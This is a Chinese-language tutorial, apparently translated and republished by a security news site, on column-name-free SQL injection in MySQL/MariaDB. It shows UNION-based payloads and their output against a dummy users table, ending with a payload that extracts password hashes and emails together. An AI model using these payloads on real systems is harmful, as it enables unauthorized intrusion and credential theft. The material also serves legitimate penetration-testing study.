介紹

你可能會遇到這樣的情況:SQL注入時,需要從MySQL的某個表中導出某些數據。一般來說,要想導出數據,你必須知道表名、列名,而這兩個名字在某些情況下可能你並不知道。

例如,對於版本小於5.0的MySQL資料庫,以及部分有WAF干擾的版本大於5.0的MySQL資料庫,你就無法輕易獲得表名、列名。

在這種情況下,也許你會放棄,僅僅注入出資料庫名字,證明漏洞存在就結束。

但在這篇文章中,我將展示一種在不知道列名情況下進行的注入。

無列名注入

我和我的隊友@aboul3la一起,創建了一個資料庫環境來模擬被攻擊的目標,並通過大量的嘗試最終找到了一個可行方法。

首先展示一下目標表users

MariaDB [dummydb]> select * from users;
+----+--------------+------------------------------------------+-----------------------------+------------+---------------------+
| id | name | password | email | birthdate | added |
+----+--------------+------------------------------------------+-----------------------------+------------+---------------------+
| 1 | alias | a45d4e080fc185dfa223aea3d0c371b6cc180a37 | [email protected] | 1981-05-03 | 1993-03-20 14:03:14 |
| 2 | accusamus | 114fec39a7c9567e8250409d467fed64389a7bee | [email protected] | 1979-10-28 | 2007-01-20 18:38:29 |
| 3 | dolor | 7f796c9e61c32a5ec3c85fed794c00eee2381d73 | [email protected] | 2005-11-16 | 1992-02-16 04:19:05 |
| 4 | et | aaaf2b311a1cd97485be716a896f9c09aff55b96 | [email protected] | 2015-07-22 | 2014-03-05 22:57:18 |
| 5 | voluptatibus | da16b4d9661c56bb448899d7b6d30060da014446 | [email protected] | 1991-11-22 | 2005-12-04 20:38:41 |
+----+--------------+------------------------------------------+-----------------------------+------------+---------------------+
5 rows in set (0.00 sec)

我們可以看到,這次表的列名有「name」、「password」、「email」、「出birthday」和「added」。

下一步,我們輸入一個注入中經常使用的探明列數的查詢句式

MariaDB [dummydb]> select 1,2,3,4,5,6 union select * from users;
+---+--------------+------------------------------------------+-----------------------------+------------+---------------------+
| 1 | 2 | 3 | 4 | 5 | 6 |
+---+--------------+------------------------------------------+-----------------------------+------------+---------------------+
| 1 | 2 | 3 | 4 | 5 | 6 |
| 1 | alias | a45d4e080fc185dfa223aea3d0c371b6cc180a37 | [email protected] | 1981-05-03 | 1993-03-20 14:03:14 |
| 2 | accusamus | 114fec39a7c9567e8250409d467fed64389a7bee | [email protected] | 1979-10-28 | 2007-01-20 18:38:29 |
| 3 | dolor | 7f796c9e61c32a5ec3c85fed794c00eee2381d73 | [email protected] | 2005-11-16 | 1992-02-16 04:19:05 |
| 4 | et | aaaf2b311a1cd97485be716a896f9c09aff55b96 | [email protected] | 2015-07-22 | 2014-03-05 22:57:18 |
| 5 | voluptatibus | da16b4d9661c56bb448899d7b6d30060da014446 | [email protected] | 1991-11-22 | 2005-12-04 20:38:41 |
+---+--------------+------------------------------------------+-----------------------------+------------+---------------------+
6 rows in set (0.00 sec)

很好,我們可以注意到,查詢結果中的列的名稱從name、password、email、birthdate替換為1、2、3、4、5、6,這主要是因為前面的查詢語句select 1,2,3,4,5,6

下一步我們就可以根據查詢結果中的新的列名提取數據,而針對的數據表就是以上的查詢結果。

使用查詢語句select4from (select 1,2,3,4,5,6 union select * from users)redforce;你就可以將選出第4列數據,也就是電子郵件地址,

MariaDB [dummydb]> select `4` from (select 1,2,3,4,5,6 union select * from users)redforce;
+-----------------------------+
| 4 |
+-----------------------------+
| 4 |
| [email protected] |
| [email protected] |
| [email protected] |
| [email protected] |
| [email protected] |
+-----------------------------+
6 rows in set (0.00 sec)

然後依次select 3,select 2等等。

如果要將其帶入實際的注入環境中,我們可以融合產生如下payload-1 union select 1,(select`4`from (select 1,2,3,4,5,6 union select * from users)a limit 1,1)-- -。你可以通過不停的修改列名1,2,3,4來提取數據。

MariaDB [dummydb]> select author_id,title from posts where author_id=-1 union select 1,(select `2` from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);
+-----------+-------+
| author_id | title |
+-----------+-------+
| 1 | alias |
+-----------+-------+
1 row in set (0.00 sec)
MariaDB [dummydb]> select author_id,title from posts where author_id=-1 union select 1,(select `3` from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);
+-----------+------------------------------------------+
| author_id | title |
+-----------+------------------------------------------+
| 1 | a45d4e080fc185dfa223aea3d0c371b6cc180a37 |
+-----------+------------------------------------------+
1 row in set (0.00 sec)
MariaDB [dummydb]> select author_id,title from posts where author_id=-1 union select 1,(select `4` from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);
+-----------+------------------------+
| author_id | title |
+-----------+------------------------+
| 1 | [email protected] |
+-----------+------------------------+
1 row in set (0.00 sec)

總而言之

通過這種將未知原列名轉換為其他值的方法,你就可以注入出所有的數據。

最終payload

MariaDB [dummydb]> select author_id,title from posts where author_id=-1 union select 1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);
+-----------+-----------------------------------------------------------------+
| author_id | title |
+-----------+-----------------------------------------------------------------+
| 1 | a45d4e080fc185dfa223aea3d0c371b6cc180a37:[email protected] |
+-----------+-----------------------------------------------------------------+

謝謝閱讀這篇文章!

本文由白帽彙整理並翻譯,不代表白帽匯任何觀點和立場

來源:如何在不知道MySQL列名的情況下注入出數據?|NOSEC安全訊息平台 - NOSEC.ORG

白帽匯從事信息安全,專註於安全大數據、企業威脅情報。

公司產品:FOFA-網路空間安全搜索引擎、FOEYE-網路空間檢索系統、NOSEC-安全訊息平台。

為您提供:網路空間測繪、企業資產收集、企業威脅情報、應急響應服務。


推薦閱讀:
相关文章